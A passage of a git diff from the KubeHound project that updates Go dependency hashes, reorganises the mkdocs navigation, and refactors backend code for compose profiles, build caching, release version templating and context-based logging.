h1:Arh75ttbsvlpVA7WtVpH4u9h6Zl46xuptxqLxPiSo4Y= @@ -925,10 +1053,11 @@ gopkg.in/cenkalti/backoff.v1 v1.1.0/go.mod h1:J6Vskwqd+OMVJl8C33mmtxTBs2gyzfv7UD gopkg.in/cenkalti/backoff.v2 v2.2.1 h1:eJ9UAg01/HIHG987TwxvnzK2MgxXq97YY6rYDpY9aII= gopkg.in/cenkalti/backoff.v2 v2.2.1/go.mod h1:S0QdOvT2AlerfSBkp0O+dk+bbIMaNbEmVk876gPCthU= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= +gopkg.in/evanphx/json-patch.v4 v4.12.0 h1:n6jtcsulIzXPJaxegRbvFNNrZDjbij7ny3gmSPG+6V4= +gopkg.in/evanphx/json-patch.v4 v4.12.0/go.mod h1:p8EYWUEYMpynmqDbY58zCKCFZw8pRWMG4EsWvDvM72M= gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= gopkg.in/gemnasium/logrus-airbrake-hook.v2 v2.1.2/go.mod h1:Xk6kEKp8OKb+X14hQBKWaSkCsqBpgog8nAV2xsGOxlo= gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= @@ -945,40 +1074,57 @@ gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gotest.tools v2.2.0+incompatible h1:VsBPFP1AI068pPrMxtb/S8Zkgf9xEmTLJjfM+P5UIEo= gotest.tools v2.2.0+incompatible/go.mod h1:DsYFclhRJ6vuDpmuTbkuFWG+y2sxOXAzmJt81HFBacw= -gotest.tools/v3 v3.5.1 h1:EENdUnS3pdur5nybKYIh2Vfgc8IUNBjxDPSjtiJcOzU= -gotest.tools/v3 v3.5.1/go.mod h1:isy3WKz7GK6uNw/sbHzfKBLvlvXwUyV06n6brMxxopU= -honnef.co/go/gotraceui v0.2.0 h1:dmNsfQ9Vl3GwbiVD7Z8d/osC6WtGGrasyrC2suc4ZIQ= -honnef.co/go/gotraceui v0.2.0/go.mod h1:qHo4/W75cA3bX0QQoSvDjbJa4R8mAyyFjbWAj63XElc= +gotest.tools/v3 v3.5.2 h1:7koQfIKdy+I8UTetycgUqXWSDwpgv193Ka+qRsmBY8Q= +gotest.tools/v3 v3.5.2/go.mod h1:LtdLGcnqToBH83WByAAi/wiwSFCArdFIUV/xxN4pcjA= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -k8s.io/api v0.30.1 h1:kCm/6mADMdbAxmIh0LBjS54nQBE+U4KmbCfIkF5CpJY= -k8s.io/api v0.30.1/go.mod h1:ddbN2C0+0DIiPntan/bye3SW3PdwLa11/0yqwvuRrJM= -k8s.io/apiextensions-apiserver v0.30.1 h1:4fAJZ9985BmpJG6PkoxVRpXv9vmPUOVzl614xarePws= -k8s.io/apiextensions-apiserver v0.30.1/go.mod h1:R4GuSrlhgq43oRY9sF2IToFh7PVlF1JjfWdoG3pixk4= -k8s.io/apimachinery v0.30.1 h1:ZQStsEfo4n65yAdlGTfP/uSHMQSoYzU/oeEbkmF7P2U= -k8s.io/apimachinery v0.30.1/go.mod h1:iexa2somDaxdnj7bha06bhb43Zpa6eWH8N8dbqVjTUc= -k8s.io/apiserver v0.30.1 h1:BEWEe8bzS12nMtDKXzCF5Q5ovp6LjjYkSp8qOPk8LZ8= -k8s.io/apiserver v0.30.1/go.mod h1:i87ZnQ+/PGAmSbD/iEKM68bm1D5reX8fO4Ito4B01mo= -k8s.io/client-go v0.30.1 h1:uC/Ir6A3R46wdkgCV3vbLyNOYyCJ8oZnjtJGKfytl/Q= -k8s.io/client-go v0.30.1/go.mod h1:wrAqLNs2trwiCH/wxxmT/x3hKVH9PuV0GGW0oDoHVqc= -k8s.io/klog/v2 v2.120.1 h1:QXU6cPEOIslTGvZaXvFWiP9VKyeet3sawzTOvdXb4Vw= -k8s.io/klog/v2 v2.120.1/go.mod h1:3Jpz1GvMt720eyJH1ckRHK1EDfpxISzJ7I9OYgaDtPE= -k8s.io/kube-openapi v0.0.0-20240521193020-835d969ad83a h1:zD1uj3Jf+mD4zmA7W+goE5TxDkI7OGJjBNBzq5fJtLA= -k8s.io/kube-openapi v0.0.0-20240521193020-835d969ad83a/go.mod h1:UxDHUPsUwTOOxSU+oXURfFBcAS6JwiRXTYqYwfuGowc= -k8s.io/utils v0.0.0-20240502163921-fe8a2dddb1d0 h1:jgGTlFYnhF1PM1Ax/lAlxUPE+KfCIXHaathvJg1C3ak= -k8s.io/utils v0.0.0-20240502163921-fe8a2dddb1d0/go.mod h1:OLgZIPagt7ERELqWJFomSt595RzquPNLL48iOWgYOg0= -sigs.k8s.io/controller-runtime v0.18.4 h1:87+guW1zhvuPLh1PHybKdYFLU0YJp4FhJRmiHvm5BZw= -sigs.k8s.io/controller-runtime v0.18.4/go.mod h1:TVoGrfdpbA9VRFaRnKgk9P5/atA0pMwq+f+msb9M8Sg= -sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd h1:EDPBXCAspyGV4jQlpZSudPeMmr1bNJefnuqLsRAsHZo= -sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd/go.mod h1:B8JuhiUyNFVKdsE8h686QcCxMaH6HrOAZj4vswFpcB0= -sigs.k8s.io/structured-merge-diff/v4 v4.4.1 h1:150L+0vs/8DA78h1u02ooW1/fFq/Lwr+sGiqlzvrtq4= -sigs.k8s.io/structured-merge-diff/v4 v4.4.1/go.mod h1:N8hJocpFajUSSeSJ9bOZ77VzejKZaXsTtZo4/u7Io08= +k8s.io/api v0.32.2 h1:bZrMLEkgizC24G9eViHGOPbW+aRo9duEISRIJKfdJuw= +k8s.io/api v0.32.2/go.mod h1:hKlhk4x1sJyYnHENsrdCWw31FEmCijNGPJO5WzHiJ6Y= +k8s.io/apiextensions-apiserver v0.32.1 h1:hjkALhRUeCariC8DiVmb5jj0VjIc1N0DREP32+6UXZw= +k8s.io/apiextensions-apiserver v0.32.1/go.mod h1:sxWIGuGiYov7Io1fAS2X06NjMIk5CbRHc2StSmbaQto= +k8s.io/apimachinery v0.32.2 h1:yoQBR9ZGkA6Rgmhbp/yuT9/g+4lxtsGYwW6dR6BDPLQ= +k8s.io/apimachinery v0.32.2/go.mod h1:GpHVgxoKlTxClKcteaeuF1Ul/lDVb74KpZcxcmLDElE= +k8s.io/client-go v0.32.2 h1:4dYCD4Nz+9RApM2b/3BtVvBHw54QjMFUl1OLcJG5yOA= +k8s.io/client-go v0.32.2/go.mod h1:fpZ4oJXclZ3r2nDOv+Ux3XcJutfrwjKTCHz2H3sww94= +k8s.io/klog/v2 v2.130.1 h1:n9Xl7H1Xvksem4KFG4PYbdQCQxqc/tTUyrgXaOhHSzk= +k8s.io/klog/v2 v2.130.1/go.mod h1:3Jpz1GvMt720eyJH1ckRHK1EDfpxISzJ7I9OYgaDtPE= +k8s.io/kube-openapi v0.0.0-20241105132330-32ad38e42d3f h1:GA7//TjRY9yWGy1poLzYYJJ4JRdzg3+O6e8I+e+8T5Y= +k8s.io/kube-openapi v0.0.0-20241105132330-32ad38e42d3f/go.mod h1:R/HEjbvWI0qdfb8viZUeVZm0X6IZnxAydC7YU42CMw4= +k8s.io/utils v0.0.0-20241104100929-3ea5e8cea738 h1:M3sRQVHv7vB20Xc2ybTt7ODCeFj6JSWYFzOFnYeS6Ro= +k8s.io/utils v0.0.0-20241104100929-3ea5e8cea738/go.mod h1:OLgZIPagt7ERELqWJFomSt595RzquPNLL48iOWgYOg0= +lukechampine.com/uint128 v1.3.0 h1:cDdUVfRwDUDovz610ABgFD17nXD4/uDgVHl2sC3+sbo= +lukechampine.com/uint128 v1.3.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= +modernc.org/cc/v3 v3.41.0 h1:QoR1Sn3YWlmA1T4vLaKZfawdVtSiGx8H+cEojbC7v1Q= +modernc.org/cc/v3 v3.41.0/go.mod h1:Ni4zjJYJ04CDOhG7dn640WGfwBzfE0ecX8TyMB0Fv0Y= +modernc.org/ccgo/v3 v3.16.15 h1:KbDR3ZAVU+wiLyMESPtbtE/Add4elztFyfsWoNTgxS0= +modernc.org/ccgo/v3 v3.16.15/go.mod h1:yT7B+/E2m43tmMOT51GMoM98/MtHIcQQSleGnddkUNI= +modernc.org/libc v1.37.6 h1:orZH3c5wmhIQFTXF+Nt+eeauyd+ZIt2BX6ARe+kD+aw= +modernc.org/libc v1.37.6/go.mod h1:YAXkAZ8ktnkCKaN9sw/UDeUVkGYJ/YquGO4FTi5nmHE= +modernc.org/mathutil v1.6.0 h1:fRe9+AmYlaej+64JsEEhoWuAYBkOtQiMEU7n/XgfYi4= +modernc.org/mathutil v1.6.0/go.mod h1:Ui5Q9q1TR2gFm0AQRqQUaBWFLAhQpCwNcuhBOSedWPo= +modernc.org/memory v1.7.2 h1:Klh90S215mmH8c9gO98QxQFsY+W451E8AnzjoE2ee1E= +modernc.org/memory v1.7.2/go.mod h1:NO4NVCQy0N7ln+T9ngWqOQfi7ley4vpwvARR+Hjw95E= +modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4= +modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= +modernc.org/sqlite v1.28.0 h1:Zx+LyDDmXczNnEQdvPuEfcFVA2ZPyaD7UCZDjef3BHQ= +modernc.org/sqlite v1.28.0/go.mod h1:Qxpazz0zH8Z1xCFyi5GSL3FzbtZ3fvbjmywNogldEW0= +modernc.org/strutil v1.2.0 h1:agBi9dp1I+eOnxXeiZawM8F4LawKv4NzGWSaLfyeNZA= +modernc.org/strutil v1.2.0/go.mod h1:/mdcBmfOibveCTBxUl5B5l6W+TTH1FXPLHZE6bTosX0= +modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y= +modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= +sigs.k8s.io/controller-runtime v0.20.2 h1:/439OZVxoEc02psi1h4QO3bHzTgu49bb347Xp4gW1pc= +sigs.k8s.io/controller-runtime v0.20.2/go.mod h1:xg2XB0K5ShQzAgsoujxuKN4LNXR2LfwwHsPj7Iaw+XY= +sigs.k8s.io/json v0.0.0-20241010143419-9aa6b5e7a4b3 h1:/Rv+M11QRah1itp8VhT6HoVx1Ray9eB4DBr+K+/sCJ8= +sigs.k8s.io/json v0.0.0-20241010143419-9aa6b5e7a4b3/go.mod h1:18nIHnGi6636UCz6m8i4DhaJ65T6EruyzmoQqI2BVDo= +sigs.k8s.io/structured-merge-diff/v4 v4.4.2 h1:MdmvkGuXi/8io6ixD5wud3vOLwc1rj0aNqRlpuvjmwA= +sigs.k8s.io/structured-merge-diff/v4 v4.4.2/go.mod h1:N8f93tFZh9U6vpxwRArLiikrE5/2tiu1w1AGfACIGE4= sigs.k8s.io/yaml v1.4.0 h1:Mk1wCc2gy/F0THH0TAp1QYyJNzRm2KCLy3o5ASXVI5E= sigs.k8s.io/yaml v1.4.0/go.mod h1:Ejl7/uTz7PSA4eKMyQCUTnhZYNmLIl+5c2lQPGR2BPY= -tags.cncf.io/container-device-interface v0.7.2 h1:MLqGnWfOr1wB7m08ieI4YJ3IoLKKozEnnNYBtacDPQU= -tags.cncf.io/container-device-interface v0.7.2/go.mod h1:Xb1PvXv2BhfNb3tla4r9JL129ck1Lxv9KuU6eVOfKto= +tags.cncf.io/container-device-interface v0.8.0 h1:8bCFo/g9WODjWx3m6EYl3GfUG31eKJbaggyBDxEldRc= +tags.cncf.io/container-device-interface v0.8.0/go.mod h1:Apb7N4VdILW0EVdEMRYXIDVRZfNJZ+kmEUss2kRRQ6Y= +tags.cncf.io/container-device-interface/specs-go v0.8.0 h1:QYGFzGxvYK/ZLMrjhvY0RjpUavIn4KcmRmVP/JjdBTA= +tags.cncf.io/container-device-interface/specs-go v0.8.0/go.mod h1:BhJIkjjPh4qpys+qm4DAYtUyryaTDg9zris+AczXyws= diff --git a/mkdocs.yml b/mkdocs.yml index 06133f2ef..3e393e96f 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -12,16 +12,16 @@ theme: logo: ./logo.png favicon: ./logo.png palette: - - scheme: default - primary: light blue - toggle: - icon: material/toggle-switch-off-outline - name: Switch to dark mode - - scheme: slate - primary: light blue - toggle: - icon: material/toggle-switch - name: Switch to light mode + - scheme: default + primary: light blue + toggle: + icon: material/toggle-switch-off-outline + name: Switch to dark mode + - scheme: slate + primary: light blue + toggle: + icon: material/toggle-switch + name: Switch to light mode features: - navigation.expand - navigation.indexes @@ -30,19 +30,19 @@ theme: - navigation.tabs.sticky - content.code.copy icon: - admonition: - note: octicons/tag-16 - abstract: octicons/checklist-16 - info: octicons/info-16 - tip: octicons/squirrel-16 - success: octicons/check-16 - question: octicons/question-16 - warning: octicons/alert-16 - failure: octicons/x-circle-16 - danger: octicons/zap-16 - bug: octicons/bug-16 - example: octicons/beaker-16 - quote: octicons/quote-16 + admonition: + note: octicons/tag-16 + abstract: octicons/checklist-16 + info: octicons/info-16 + tip: octicons/squirrel-16 + success: octicons/check-16 + question: octicons/question-16 + warning: octicons/alert-16 + failure: octicons/x-circle-16 + danger: octicons/zap-16 + bug: octicons/bug-16 + example: octicons/beaker-16 + quote: octicons/quote-16 use_directory_urls: true extra_javascript: - path: js/tablesort.js #TODO not working @@ -67,7 +67,7 @@ markdown_extensions: - footnotes - markdown_captions - pymdownx.tabbed: - alternate_style: true + alternate_style: true - pymdownx.emoji: emoji_index: !!python/name:material.extensions.emoji.twemoji emoji_generator: !!python/name:material.extensions.emoji.to_svg @@ -81,11 +81,23 @@ nav: - Comparison with Other Tools: comparison.md - Contributing: contributing.md - References: references.md + - Workshop: workshop.md - User Guide: - Getting Started: user-guide/getting-started.md - - Common Operations: user-guide/common-operations.md + - Advanced config: user-guide/advanced-configuration.md + - Local Common Operations: user-guide/common-operations.md - Troubleshooting: user-guide/troubleshooting.md + - KubeHound as a Serivce: + - Getting Started: khaas/getting-started.md + - Advanced config: khaas/advanced-configuration.md + - Deployment: khaas/deployment.md + - Developer Guide: + - Getting Started: dev-guide/getting-started.md + - Testing: dev-guide/testing.md + - Wiki: dev-guide/wiki.md + - Datadog setup: dev-guide/datadog.md - Attack Techniques Reference: + - Graph: reference/graph/index.md - ... |reference/*/*.md #- Attacks: reference/attacks/index.md #- Entities: reference/entities/index.md @@ -97,4 +109,4 @@ nav: - queries/metrics.md - "Sample queries": queries/gremlin.md -copyright: Copyright 2023-Present Datadog, Inc. +copyright: Copyright 2024-Present Datadog, Inc. diff --git a/pkg/backend/containers.go b/pkg/backend/containers.go index 3cfa6d3d3..c318a9b07 100644 --- a/pkg/backend/containers.go +++ b/pkg/backend/containers.go @@ -1,3 +1,5 @@ +//go:build no_backend + package backend import ( @@ -24,15 +26,15 @@ type Backend struct { dockerCli *command.DockerCli } -func NewBackend(ctx context.Context, composeFilePaths []string) error { +func NewBackend(ctx context.Context, composeFilePaths []string, profiles []string) error { var err error - currentBackend, err = newBackend(ctx, composeFilePaths) + currentBackend, err = newBackend(ctx, composeFilePaths, profiles) return err } -func newBackend(ctx context.Context, composeFilePaths []string) (*Backend, error) { - project, err := loadProject(ctx, composeFilePaths) +func newBackend(ctx context.Context, composeFilePaths []string, profiles []string) (*Backend, error) { + project, err := loadProject(ctx, composeFilePaths, profiles) if err != nil { return nil, err } @@ -66,14 +68,15 @@ func newDockerCli() (*command.DockerCli, error) { return dockerCli, nil } -func BuildUp(ctx context.Context) error { - return currentBackend.buildUp(ctx) +func BuildUp(ctx context.Context, noCache bool) error { + return currentBackend.buildUp(ctx, noCache) } -func (b *Backend) buildUp(ctx context.Context) error { - log.I.Infof("Building the kubehound stack") +func (b *Backend) buildUp(ctx context.Context, noCache bool) error { + l := log.Logger(ctx) + l.Info("Building the kubehound stack") err := b.composeService.Build(ctx, b.project, api.BuildOptions{ - NoCache: true, + NoCache: noCache, Pull: true, }) if err != nil { @@ -88,9 +91,10 @@ func Up(ctx context.Context) error { } func (b *Backend) up(ctx context.Context) error { - log.I.Infof("Spawning the kubehound stack") + l := log.Logger(ctx) + l.Info("Spawning the kubehound stack") - return b.composeService.Up(ctx, b.project, api.UpOptions{ + err := b.composeService.Up(ctx, b.project, api.UpOptions{ Create: api.CreateOptions{ Build: &api.BuildOptions{ NoCache: true, @@ -105,6 +109,11 @@ func (b *Backend) up(ctx context.Context) error { Watch: true, }, }) + if err != nil { + return fmt.Errorf("error starting the kubehound stack: %w. Please make sure your Docker is correctly installed and that you have enough disk space available. ", err) + } + + return nil } func Down(ctx context.Context) error { @@ -112,13 +121,19 @@ func Down(ctx context.Context) error { } func (b *Backend) down(ctx context.Context) error { - log.I.Info("Tearing down the kubehound stack") + l := log.Logger(ctx) + l.Info("Tearing down the kubehound stack") - return b.composeService.Remove(ctx, b.project.Name, api.RemoveOptions{ + err := b.composeService.Remove(ctx, b.project.Name, api.RemoveOptions{ Stop: true, Volumes: true, Force: true, }) + if err != nil { + return fmt.Errorf("error shuting down kubehound stack: %w", err) + } + + return nil } func Reset(ctx context.Context) error { @@ -165,10 +180,11 @@ func Wipe(ctx context.Context) error { func (b *Backend) wipe(ctx context.Context) error { var err error - log.I.Infof("Wipping the persisted backend data") + l := log.Logger(ctx) + l.Info("Wiping the persisted backend data") for _, volumeID := range b.project.VolumeNames() { - log.I.Infof("Deleting volume %s", volumeID) + l.Info("Deleting volume", log.String("volume", volumeID)) err = errors.Join(err, b.dockerCli.Client().VolumeRemove(ctx, volumeID, true)) } diff --git a/pkg/backend/project.go b/pkg/backend/project.go index ba941ac39..acd98ad48 100644 --- a/pkg/backend/project.go +++ b/pkg/backend/project.go @@ -1,12 +1,16 @@ +//go:build no_backend + package backend import ( + "bytes" "context" "fmt" - "os" "strings" + "text/template" embedconfigdocker "github.com/DataDog/KubeHound/deployments/kubehound" + "github.com/DataDog/KubeHound/pkg/config" "github.com/DataDog/KubeHound/pkg/telemetry/log" "github.com/compose-spec/compose-go/v2/cli" "github.com/compose-spec/compose-go/v2/loader" @@ -16,21 +20,23 @@ import ( ) var ( - DefaultReleaseComposePaths = []string{"docker-compose.yaml", "docker-compose.release.yaml"} - DefaultDatadogComposePath = "docker-compose.datadog.yaml" + DefaultReleaseComposePaths = []string{"docker-compose.yaml", "docker-compose.release.yaml.tpl"} + DefaultUIProfile = []string{DevUIProfile} + + DevUIProfile = "jupyter" ) -func loadProject(ctx context.Context, composeFilePaths []string) (*types.Project, error) { +func loadProject(ctx context.Context, composeFilePaths []string, profiles []string) (*types.Project, error) { var project *types.Project var err error - + l := log.Logger(ctx) switch { case len(composeFilePaths) != 0 && len(composeFilePaths[0]) != 0: - log.I.Infof("Loading backend from file %s", composeFilePaths) - project, err = loadComposeConfig(ctx, composeFilePaths) + l.Info("Loading backend from file", log.Strings("path", composeFilePaths)) + project, err = loadComposeConfig(ctx, composeFilePaths, profiles) default: - log.I.Infof("Loading backend from default embedded") - project, err = loadEmbeddedConfig(ctx) + l.Info("Loading backend from default embedded") + project, err = loadEmbeddedConfig(ctx, profiles) } if err != nil { @@ -63,11 +69,12 @@ func loadProject(ctx context.Context, composeFilePaths []string) (*types.Project return project, nil } -func loadComposeConfig(ctx context.Context, composeFilePaths []string) (*types.Project, error) { +func loadComposeConfig(ctx context.Context, composeFilePaths []string, profiles []string) (*types.Project, error) { options, err := cli.NewProjectOptions( composeFilePaths, cli.WithOsEnv, cli.WithDotEnv, + cli.WithProfiles(profiles), ) if err != nil { return nil, err @@ -76,22 +83,9 @@ func loadComposeConfig(ctx context.Context, composeFilePaths []string) (*types.P return cli.ProjectFromOptions(ctx, options) } -func loadEmbeddedConfig(ctx context.Context) (*types.Project, error) { +func loadEmbeddedConfig(ctx context.Context, profiles []string) (*types.Project, error) { var dockerComposeFileData map[interface{}]interface{} var err error - var hostname string - - // Adding datadog setup - ddAPIKey, ddAPIKeyOk := os.LookupEnv("DD_API_KEY") - ddAPPKey, ddAPPKeyOk := os.LookupEnv("DD_API_KEY") - if ddAPIKeyOk && ddAPPKeyOk { - DefaultReleaseComposePaths = append(DefaultReleaseComposePaths, DefaultDatadogComposePath) - hostname, err = os.Hostname() - if err != nil { - hostname = "kubehound" - } - - } for i, filePath := range DefaultReleaseComposePaths { dockerComposeFileData, err = loadEmbeddedDockerCompose(ctx, filePath, dockerComposeFileData) @@ -111,24 +105,44 @@ func loadEmbeddedConfig(ctx context.Context) (*types.Project, error) { Content: data, }, }, - Environment: map[string]string{ - "DD_API_KEY": ddAPIKey, - "DD_APP_KEY": ddAPPKey, - "DOCKER_HOSTNAME": hostname, - }, } - return loader.LoadWithContext(ctx, opts) + return loader.LoadWithContext(ctx, opts, loader.WithProfiles(profiles)) } -func loadEmbeddedDockerCompose(_ context.Context, filepath string, dockerComposeFileData map[interface{}]interface{}) (map[interface{}]interface{}, error) { +func loadEmbeddedDockerCompose(ctx context.Context, filepath string, dockerComposeFileData map[interface{}]interface{}) (map[interface{}]interface{}, error) { + l := log.Logger(ctx) var localYaml map[interface{}]interface{} - localData, err := embedconfigdocker.F.ReadFile(filepath) if err != nil { return nil, fmt.Errorf("reading embed config: %w", err) } + // Dynamically setting the version tag for the release using a template file + if strings.HasSuffix(filepath, ".tpl") { + // Setting the version tag for the release dynamically + version := map[string]string{"VersionTag": config.BuildVersion} + + // If we are on a detached commit, we are probably on a release tag and git rev-parse --abbrev-ref HEAD will return "HEAD" + // For any branch outside of main and the detached states, using latest image as the current tag will cover (including the commit sha in the tag) + if config.BuildBranch != "main" && config.BuildBranch != "HEAD" { + l.Warn("Loading the kubehound images with tag latest - dev branch detected") + version["VersionTag"] = "latest" + } + + tmpl, err := template.New(filepath).ParseFS(embedconfigdocker.F, filepath) + if err != nil { + return nil, fmt.Errorf("new template: %w", err) + } + + var buf bytes.Buffer + err = tmpl.Execute(&buf, version) + if err != nil { + return nil, fmt.Errorf("executing template: %w", err) + } + localData = buf.Bytes() + } + err = yaml.Unmarshal(localData, &localYaml) if err != nil { return nil, fmt.Errorf("unmarshal config: %w", err) diff --git a/pkg/backend/util.go b/pkg/backend/util.go index a56f16c44..6009d4f89 100644 --- a/pkg/backend/util.go +++ b/pkg/backend/util.go @@ -1,3 +1,5 @@ +//go:build no_backend + package backend func mergeMaps(currentMap map[interface{}]interface{}, newMap map[interface{}]interface{}) map[interface{}]interface{} { diff --git a/pkg/cmd/config.go b/pkg/cmd/config.go index eda04c93a..043715cea 100644 --- a/pkg/cmd/config.go +++ b/pkg/cmd/config.go @@ -8,7 +8,6 @@ import ( "github.com/DataDog/KubeHound/pkg/telemetry" "github.com/DataDog/KubeHound/pkg/telemetry/log" "github.com/DataDog/KubeHound/pkg/telemetry/tag" - "github.com/sirupsen/logrus" "github.com/spf13/viper" ) @@ -24,6 +23,7 @@ func GetConfig() (*config.KubehoundConfig, error) { } func InitializeKubehoundConfig(ctx context.Context, configPath string, generateRunID bool, inline bool) error { + l := log.Logger(ctx) // We define a unique run id this so we can measure run by run in addition of version per version. // Useful when rerunning the same binary (same version) on different dataset or with different databases... // In the case of KHaaS, the runID is taken from the GRPC request argument @@ -31,34 +31,25 @@ func InitializeKubehoundConfig(ctx context.Context, configPath string, generateR viper.Set(config.DynamicRunID, config.NewRunID()) } - // This code is also used for file ingestion (dump), so it is not needed in this case. So, we can continue if it fails. - clusterName, err := config.GetClusterName(ctx) - if err == nil { - viper.Set(config.DynamicClusterName, clusterName) - } else { - log.I.Errorf("collector cluster info: %v", err) - } - - khCfg := config.NewKubehoundConfig(configPath, inline) - + khCfg := config.NewKubehoundConfig(ctx, configPath, inline) // Activate debug mode if needed if khCfg.Debug { - log.I.Info("Debug mode activated") - log.I.Logger.SetLevel(logrus.DebugLevel) + l.Info("Debug mode activated") } InitTags(ctx, khCfg) - InitTelemetry(khCfg) + InitTelemetry(ctx, khCfg) return nil } -func InitTelemetry(khCfg *config.KubehoundConfig) { - log.I.Info("Initializing application telemetry") - err := telemetry.Initialize(khCfg) +func InitTelemetry(ctx context.Context, khCfg *config.KubehoundConfig) { + l := log.Logger(ctx) + l.Info("Initializing application telemetry") + err := telemetry.Initialize(ctx, khCfg) if err != nil { - log.I.Warnf("failed telemetry initialization: %v", err) + l.Warn("failed telemetry initialization", log.ErrorField(err)) } } @@ -73,23 +64,23 @@ func InitTags(ctx context.Context, khCfg *config.KubehoundConfig) { tag.AppendBaseTags(tag.RunID(khCfg.Dynamic.RunID.String())) // Set the run ID as a global log tag - log.AddGlobalTags(map[string]string{ - tag.RunIdTag: khCfg.Dynamic.RunID.String(), - }) + // log.AddGlobalTags(map[string]string{ + // tag.RunIdTag: khCfg.Dynamic.RunID.String(), + // }) } // Update the logger behaviour from configuration - log.SetDD(khCfg.Telemetry.Enabled) - log.AddGlobalTags(khCfg.Telemetry.Tags) + // log.SetDD(khCfg.Telemetry.Enabled) + // log.AddGlobalTags(khCfg.Telemetry.Tags) } -func CloseKubehoundConfig() error { +func CloseKubehoundConfig(ctx context.Context) error { khCfg, err := GetConfig() if err != nil { return err } - telemetry.Shutdown(khCfg.Telemetry.Enabled) + telemetry.Shutdown(ctx, khCfg.Telemetry.Enabled) return nil } diff --git a/pkg/cmd/dump.go b/pkg/cmd/dump.go index 36e69255c..078932885 100644 --- a/pkg/cmd/dump.go +++ b/pkg/cmd/dump.go @@ -12,21 +12,9 @@ func InitRootCmd(cmd *cobra.Command) { } func InitDumpCmd(cmd *cobra.Command) { - cmd.PersistentFlags().String("statsd", config.DefaultTelemetryStatsdUrl, "URL of the statsd endpoint") - viper.BindPFlag(config.TelemetryStatsdUrl, cmd.PersistentFlags().Lookup("statsd")) //nolint: errcheck - - cmd.PersistentFlags().String("profiler", config.DefaultTelemetryProfilerUrl, "URL of the profiler endpoint") - viper.BindPFlag(config.TelemetryTracerUrl, cmd.PersistentFlags().Lookup("profiler")) //nolint: errcheck - cmd.PersistentFlags().Bool("telemetry", false, "Enable telemetry with default settings") viper.BindPFlag(config.TelemetryEnabled, cmd.PersistentFlags().Lookup("telemetry")) //nolint: errcheck - cmd.PersistentFlags().Duration("period", config.DefaultProfilerPeriod, "Period specifies the interval at which to collect profiles") - viper.BindPFlag(config.TelemetryProfilerPeriod, cmd.PersistentFlags().Lookup("period")) //nolint: errcheck - - cmd.PersistentFlags().Duration("cpu-duration", config.DefaultProfilerCPUDuration, "CPU Duration specifies the length at which to collect CPU profiles") - viper.BindPFlag(config.TelemetryProfilerCPUDuration, cmd.PersistentFlags().Lookup("cpu-duration")) //nolint: errcheck - cmd.PersistentFlags().Int("rate", config.DefaultK8sAPIRateLimitPerSecond, "Rate limit of requests/second to the Kubernetes API") viper.BindPFlag(config.CollectorLiveRate, cmd.PersistentFlags().Lookup("rate")) //nolint: errcheck @@ -36,44 +24,50 @@ func InitDumpCmd(cmd *cobra.Command) { cmd.PersistentFlags().Int32("page-buffer-count", config.DefaultK8sAPIPageBufferSize, "Number of pages to buffer") viper.BindPFlag(config.CollectorLivePageBufferSize, cmd.PersistentFlags().Lookup("page-buffer-count")) //nolint: errcheck + cmd.PersistentFlags().BoolP("non-interactive", "y", config.DefaultK8sAPINonInteractive, "Non interactive mode (skip cluster confirmation)") + viper.BindPFlag(config.CollectorNonInteractive, cmd.PersistentFlags().Lookup("non-interactive")) //nolint: errcheck + cmd.PersistentFlags().Bool("debug", false, "Enable debug logs") viper.BindPFlag(config.GlobalDebug, cmd.PersistentFlags().Lookup("debug")) //nolint: errcheck } -func InitLocalCmd(cmd 